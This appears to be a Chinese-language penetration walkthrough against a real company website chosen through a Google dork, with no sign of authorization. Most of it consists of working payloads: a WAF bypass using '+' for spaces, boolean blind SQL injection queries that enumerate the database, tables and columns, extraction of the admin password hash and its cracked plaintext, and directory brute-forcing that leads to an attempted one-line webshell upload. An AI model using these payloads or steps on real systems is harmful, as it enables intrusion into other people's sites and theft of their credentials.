一、google搜索
inurl:?id= 公司
找到如下网站
二、通过点击观察,发现有一处传参页面
type_id=127
三、判断SQL注入是否存在
http://?type_id=127 and 1=1
出现拦截
但是这个WAF很好绕过,通过把空格替换成+即可
输入语句http://?type_id=127+and+1=1
输入语句http://?type_id=127+and+1=2
可知存在sql注入
四、布尔盲注判断数据库名称长度
and%20length((select%20database()%20limit%200,1))>1
得知数据库名称长度为15
五、布尔盲注得出数据库名
ftp16qyfwtauqth
六、布尔盲注得出数据库中表的个数
?type_id=127+and+(select count(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ')=5
七、布尔盲注得出数据库的表的名字
第一个表 atype
(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ' limit 0,1)=5
?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='atype')=16
由此得知表的列数为16
第二个表 atype_info
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ' limit 1,1)=10
?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='atype_info')=24
由此得知表的列数为24
?type_id=127+and+(select length(column_name) from information_schema.columns where table_name='atype_info' limit 1,1)>1
判断字段的长度
第一个字段id,
第二个字段 type_id?type_id=127+and+(select length(column_name) from information_schema.columns where table_name='atype_info' limit 1,1)=7
?type_id=127+and+ascii(substr((select column_name from information_schema.columns where table_name='atype_info' limit 1,1),2,1))>120
第三个字段3:num
第四个字段7:cn_name
第五个字段7:en_name
第六个字段8:cn_title
第七个字段8:en_title
第八个字段11:en_keywords
第九个字段11:cn_keywords
第十个字段14:cn_description
第十一个字段14:en_description
第十二个字段7:fn_name
第十三个字段7: fn_type
第十四个字段10:
第十五个字段10:
第十六个字段5:date1
第十七个字段4:hot1
第十八个字段7:
第十九个字段8:
第二十个字段10:
第二一个字段7:
第二二个字段14:
第二三个字段11:
第二四个字段7:images3
第三个表payment
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 2,1)=7
第四个表payment_log
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 3,1)=11
?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='payment_log' and table_schema='ftp16qyfwtauqth')>16
得知字段数17
ascii(substr((select column_name from information_schema.columns where table_name='payment_log' and table_schema='ftp16qyfwtauqth'limit 0,1),1,1))>1
猜字段名字
id,7,3,7,7,8,8,11,11,14,14,7,7,10,10,5,4
type_id,num,cn_name,en_name,cn_title,
第五个表web_admin
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 4,1)=9
?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='wb_admin' and table_schema='ftp16qyfwtauqth')=3
得知有3列
用sqlmap跑太慢了 ,不过好在爆出来了
八、得到有效表
不过他这个界面好多注入,换了一个页面爆的比较快
看一下是不是数据库管理员
九、拿有效数据
判断密码长度为32位
?type_id=127+and+(select length(admin_pwd) from web_admin limit 0,1)=32
sqlmap爆出密码
丢到cmd5网站解密,得到明文密码kk398
十、找后台
但是现在还不知道这个网站的后台登录地址,记得科学上网
尝试用爬虫工具,没有找到登录地址
十一、文件上传
没有找到后台,但是用dirsearch居然找到了一个上传页面
在浏览器打开进入如下界面
普通一句话木马上传出现白名单警告
十二、判断文件上传回显
通过构造正常的文件请求
后端对文件名进行了校验,且上了云盾拦截,好像不能用条件竞争。
保存的名字是用filename进行了后缀重命名。绕不了